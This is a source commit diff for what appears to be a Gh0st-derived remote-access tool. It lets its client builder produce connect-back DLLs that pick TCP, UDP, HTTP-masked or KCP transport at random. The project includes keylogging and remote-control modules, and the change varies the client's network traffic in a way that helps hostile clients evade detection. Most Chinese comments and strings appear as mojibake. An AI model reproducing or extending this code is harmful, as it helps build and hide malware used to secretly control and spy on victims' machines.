Improve: Add random protocol option for building client

client/ClientDll.cpp

@@ -13,7 +13,8 @@
 // Զ<>̵<EFBFBD>ַ
 CONNECT_ADDRESS g_SETTINGS = {
 	FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
-	FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_TCP, RUNNING_RANDOM,
+	FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_RANDOM, RUNNING_RANDOM, {}, 
+	7057226198541618915, {}, 
 };
 
 // <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.

client/ClientDll_vs2015.vcxproj

@@ -161,6 +161,7 @@
     </Link>
   </ItemDefinitionGroup>
   <ItemGroup>
+    <ClCompile Include="..\common\ikcp.c" />
     <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
@@ -170,6 +171,7 @@
     <ClCompile Include="Common.cpp" />
     <ClCompile Include="FileManager.cpp" />
     <ClCompile Include="IOCPClient.cpp" />
+    <ClCompile Include="IOCPKCPClient.cpp" />
     <ClCompile Include="IOCPUDPClient.cpp" />
     <ClCompile Include="KernelManager.cpp" />
     <ClCompile Include="KeyboardManager.cpp" />
@@ -192,6 +194,7 @@
     <ClCompile Include="X264Encoder.cpp" />
   </ItemGroup>
   <ItemGroup>
+    <ClInclude Include="..\common\ikcp.h" />
     <ClInclude Include="..\common\location.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
     <ClInclude Include="Audio.h" />
@@ -202,6 +205,7 @@
     <ClInclude Include="CursorInfo.h" />
     <ClInclude Include="FileManager.h" />
     <ClInclude Include="IOCPClient.h" />
+    <ClInclude Include="IOCPKCPClient.h" />
     <ClInclude Include="IOCPUDPClient.h" />
     <ClInclude Include="KernelManager.h" />
     <ClInclude Include="KeyboardManager.h" />

client/KernelManager.cpp

@@ -18,15 +18,19 @@
 
 // UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
-	if (!conn->IsVerified() || conn->protoType == PROTO_TCP)
+	if (conn->protoType == PROTO_HTTPS) return NULL;
+
+	int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType;
+	if (!conn->IsVerified() || type == PROTO_TCP)
 		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
-	if (conn->protoType == PROTO_UDP)
+	if (type == PROTO_UDP)
 		return new IOCPUDPClient(bExit, exit_while_disconnect);
-	if (conn->protoType == PROTO_HTTP)
+	if (type == PROTO_HTTP || type == PROTO_HTTPS)
 		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
-	if (conn->protoType == PROTO_KCP) {
+	if (type == PROTO_KCP) {
 		return new IOCPKCPClient(bExit, exit_while_disconnect);
 	}
+
 	return NULL;
 }
 

common/commands.h

@@ -541,8 +541,9 @@ enum ProtoType {
 	PROTO_TCP = 0,					// TCP
 	PROTO_UDP = 1,					// UDP
 	PROTO_HTTP = 2,					// HTTP
-	PROTO_HTTPS = 3,				// HTTPS
+	PROTO_RANDOM = 3,				// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	PROTO_KCP = 4,					// KCP
+	PROTO_HTTPS = 5,				// HTTPS
 };
 
 #define KCP_SESSION_ID 666

server/2015Remote/BuildDlg.cpp

@@ -215,6 +215,7 @@ void CBuildDlg::OnBnClickedOk()
 		File.Write(szBuffer, dwFileSize);
 		File.Close();
 		CString tip = index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
+		tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n<EFBFBD><EFBFBD>ʾ: ʹ<><CAB9>KCPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7>񣬱<EFBFBD><F1A3ACB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDPЭ<50><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ1<CEAA><31>" : "";
 		MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
 		SAFE_DELETE_ARRAY(szBuffer);
 		if (index == IndexTestRun_DLL) return;
@@ -269,7 +270,7 @@ BOOL CBuildDlg::OnInitDialog()
 	m_ComboProto.InsertString(PROTO_TCP, "TCP");
 	m_ComboProto.InsertString(PROTO_UDP, "UDP");
 	m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
-	m_ComboProto.InsertString(PROTO_HTTPS, "---");
+	m_ComboProto.InsertString(PROTO_RANDOM, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
 	m_ComboProto.InsertString(PROTO_KCP, "KCP");
 	m_ComboProto.SetCurSel(PROTO_TCP);